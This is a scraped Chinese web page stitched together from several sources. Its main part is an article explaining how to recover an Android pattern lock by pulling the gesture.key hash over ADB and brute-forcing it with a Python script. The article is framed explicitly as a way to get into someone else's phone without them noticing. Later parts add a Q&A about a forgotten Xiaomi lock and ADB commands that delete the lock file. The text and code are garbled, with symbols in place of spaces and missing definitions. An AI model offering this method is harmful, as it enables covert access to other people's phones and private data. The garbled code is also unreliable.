51开头的怎么破解手机图案密码码

中国领先的IT技术网站
51CTO旗下网站
如何破解安卓手机上的图形锁(九宫格锁)
安卓手机的图形锁(九宫格)是3×3的点阵,按次序连接数个点从而达到锁定/解锁的功能。最少需要连接4个点,最多能连接9个点。网上也有暴力删除手机图形锁的方法,即直接干掉图形锁功能。但假如你想进入别人的手机,但又不想引起其警觉的话……你可以参考一下本文。
作者:张召忠来源:FreeBuf| 15:27
安卓手机的图形锁(九宫格)是3&3的点阵,按次序连接数个点从而达到锁定/解锁的功能。最少需要连接4个点,最多能连接9个点。网上也有暴力删除手机图形锁的方法,即直接干掉图形锁功能。但假如你想进入别人的手机,但又不想引起其警觉的话&&你可以参考一下本文。
前提条件:手机需要root,而且打开调试模式。一般来讲,如果用过诸如&豌豆荚手机助手&、&360手机助手&一类的软件,都会被要求打开调试模式的。如果要删除手机内置软件,则需要将手机root。
首先科普一下,安卓手机是如何标记这9个点的。通过阅读安卓系统源码可知,每个点都有其编号,组成了一个3&3的矩阵,形如:
假如设定解锁图形为一个&L&形,如图:
那么这几个点的排列顺序是这样的:00 03 06 07 08。系统就记下来了这一串数字,然后将这一串数字(以十六进制的方式)进行SHA1加密,存储在了手机里的/data/system/gesture.key 文件中。我们用数据线连接手机和电脑,然后ADB连接手机,将文件下载到电脑上(命令:adb pull /data/system/gesture.key gesture.key),如图:
用WinHex等十六进制编辑程序打开gesture.key,会发现文件内是SHA1加密过的字符串:c8c0b24a15dc8bbfd,如图:
当你下次解锁的时候,系统就对比你画的图案,看对应的数字串是不是对应的加密结果。如果是,就解锁;不是就继续保持锁定。那么,如果穷举所有的数字串排列,会有多少呢?联想到高中的阶乘,如果用4个点做解锁图形的话,就是9x8x7x6=3024种可能性,那5个点就是15120,6个点的话60480,7个点个点个点362880。总共是985824种可能性(但这么计算并不严密,因为同一条直线上的点只能和他们相邻的点相连)。
满打满算,也不到985824种可能性。乍一看很大,但在计算机面前,穷举出来这些东西用不了几秒钟。
知道了原理,就着手写程序来实现吧。这里使用了Python来完成任务。主要应用了hashlib模块(对字符串进行SHA1加密)和itertools模块(Python内置,生成00-09的排列组合)。
主要流程为:
1.ADB连接手机,获取gesture.key文件
2.读取key文件,存入字符串str_A
3.生成全部可能的数字串
4.对这些数字串进行加密,得到字符串str_B
5.将字符串str_A与str_B进行对比
6.如果字符串A,B相同,则说明数字串num就是想要的解锁顺序
7.打印出数字串num
下面为程序:
#&-*-&coding:&cp936&-*-import&itertools
import&hashlib
import&time
#调用cmd,ADB连接到手机,读取SHA1加密后的字符串
os.system(&adb&pull&/data/system/gesture.key&gesture.key&)
time.sleep(5)
f=open('gesture.key','r')
pswd=f.readline()
pswd_hex=pswd.encode('hex')print&'加密后的密码为:%s'%pswd_hex
#生成解锁序列,得到['00','01','02','03','04','05','06','07','08']
matrix=[]&
for&i&in&range(0,9):
&&&&str_temp&=&'0'+str(i)
&&&&matrix.append(str_temp)#将00&&08的字符进行排列,至少取4个数排列,最多全部进行排列
max_num=len(matrix)for&num&in&range(min_num,max_num+1):#从04&-&&08
&&&&iter1&=&itertools.permutations(matrix,num)#从9个数字中挑出n个进行排列
&&&&list_m=[]
&&&&list_m.append(list(iter1))#将生成的排列全部存放到&list_m&列表中
&&&&for&el&in&list_m[0]:#遍历这n个数字的全部排列
&&&&&&&&strlist=''.join(el)#将list转换成str。[00,03,06,07,08]--&
&&&&&&&&strlist_sha1&=&hashlib.sha1(strlist.decode('hex')).hexdigest()#将字符串进行SHA1加密
&&&&&&&&if&pswd_hex==strlist_sha1:#将手机文件里的字符串与加密字符串进行对比
&&&&&&&&&&&&print&'解锁密码为:',strlist
从程序本身来说,得到解锁密码后应该用break跳出循环并终止程序运行。但Python并没有跳出多重循环的语句,如果要跳出多重循环,只能设置标志位然后不停进行判定。为了运行速度就略去了&跳出循环&这个步骤。(有没有更好的实现跳出多重循环的方法?)另外也略去了很多容错语句。从破解目的来说,如果单单是忘记了自己的手机图形锁密码,完全可以用更简单的办法:ADB连接手机,然后&adb rm /data/system/gesture.key&删除掉gesture.key文件,此时图形锁就失效了,随意画一下就能解锁。但本文开篇假设的是&为了不被察觉地进入到别人的手机里&,所以就有了这篇文章。
最后提一个安全小建议:如果手机已root,还要用&XX手机助手&,还想设置图形锁的话&&在手机&设置&选项里,有一个&锁定状态下取消USB调试模式&(这个名字因手机而异,而且有的有此选项,有的手机就没有),开启此功能之后,在手机锁定状态下就能够防范此类攻击了。此文技术原理很简单,还望各位大大传授些高大上的Python编程技巧。【编辑推荐】【责任编辑: TEL:(010)】
大家都在看猜你喜欢
专题专题专题专题专题
24H热文一周话题本月最赞
讲师:12人学习过
讲师:64人学习过
讲师:820人学习过
精选博文论坛热帖下载排行
《程序员密码学》涉及密码学的各个研究方向,分组密码、散列函数、公钥密码以及相关的攻击,同时也讲解了密码学算法实现上常用的ASN.编码、...
订阅51CTO邮刊我的手机图案锁屏,密码忘了!云端帐号没记住也没射密码! 小米手机_百度知道
我的手机图案锁屏,密码忘了!云端帐号没记住也没射密码! 小米手机
com 登录小米账户~忘记密码~输入手机号~接收验证码~输入新密码~成功,请在手机关机状况下,如果你忘记密码,手势锁忘记!然后在手机输入密码解锁再者你小米账户不是你手机~密码同时忘记,联连续输入错误3次以上解锁密码.xiaomi,(见附图) 请点击忘记密码~可以通过小米账户解锁,请你打开小米云服务:i小米手机系列键盘
来自团队:
其他类似问题
为您推荐:
其他2条回答
啊,怎么 双清
什么型号的?
没搞清楚是什么型号,是红米
你试试清除数据
按住音量+键 再按开机键
这样就开不机
清除数据后 关机 再开机
拍照给我看看
等待您来回答
下载知道APP
随时随地咨询
出门在外也不愁六种解决忘记锁屏图案密码的方法是什么
忘记锁屏图案密码解决方法: 第一种方法:用别人的手机打你的电话, 然后手机就会进入系统,再进设置里去掉自动锁屏。当提示输入gmail密码的时候填写:"null"(补充说明,适用部分机子,跟ROM关系也很大,成功率不保证) 第二种方法:恢复出厂值,(前提是刷
《六种解决忘记锁屏图案密码的方法是什么》摘自网络,版权归原作者
忘记锁屏图案密码解决方法:第一种方法:用别人的手机打你的电话,然后手机就会进入系统,再进设置里去掉自动锁屏。当提示输入gmail密码的时候填写:"null"(补充说明,适用部分机子,跟ROM关系也很大,成功率不保证)第二种方法:恢复出厂值,(前提是刷了recovery!)操作步骤如下:1.关闭手机2.按"HOME"+开机键进入RECOVERY3.进入WIpE选项4.选择恢复出厂值wipe data/factory res5.重启手机第三种方法:电脑端连接卓大师,(前提是你的手机开启了USB调试),等安装好驱动,打开卓大师工具箱,里面有清除锁屏密码选项,进去等待重启第四种方法:重新刷机(你可以只刷入Recovery,然后使用第二种方法,或者干脆整个系统重刷)第五种方法:手机重启过程中按音量键加或者音量键和开机键不放(一些国产安卓适用)进去想办法清除锁屏密码,可以用卓大师清除第六种方法:教大家用ADB来删除密码:1.手机连接电脑,在充电模式下进行。2.下载ADB.rar解压到C盘根目录。3.点击电脑开始&运行&输入cmd&再就进cmd 依次输入命令:01.cd c:adb02.adb shell03.cd data/system04.ls可以看到有一个pass*.key和一个gesture.key的文件,这个就是密码的文件,我们就是把这个给删除就可以了!最后输入命令:rm pass*.key(如果是pIN解锁就这个)或者rm gesture.key(如果是手势解锁就这个)输入reboot或手动重启手机生效。(其实,不用重启也可以的了,直接解锁,密码怎么滑都对,最好还是重启一下.)相关阅读
本文地址:
1.太湖网的资料来自互联网以及用户的投稿,用于非商业性学习目的免费阅览。
2.《六种解决忘记锁屏图案密码的方法是什么》一文的著作权归原作者所有,仅供学习参考,转载或引用时请保留版权信息。
3.如果本网所转载内容不慎侵犯了您的权益,请联系我们,我们将会及时删除。
《六种解决忘记锁屏图案密码的方法是什么》摘自网络,版权归原作者
(责任编辑:admin)
------分隔线----------------------------
姓名:陈哲炜 年龄:18岁 爱好:摄影、素描、影视制作、编程 学校:南京市中华中学高...
当笔者刚刚拿到KindlePaperwhite第三代电子阅读器的时候,其实并没有太多的兴奋点。因...
最新评论/热门评论{"activity_info":{},"comments":[],"hots":[],"mode":0,"topic_id"...
拥有一部iPhone手机似乎成为一种时尚的标志,但动辄好几千元的行货价格也让不少人却步...
随着手机导航软件的快速优化,4G网络+人性化的地图功能能给予相当棒的用户体验,在手...
(原标题:中关村“三剑客”) 他们拥有同一个名字――“创客”,扎根在同一个“村”...

我要回帖

更多关于 破解手机图案密码 的文章

 

随机推荐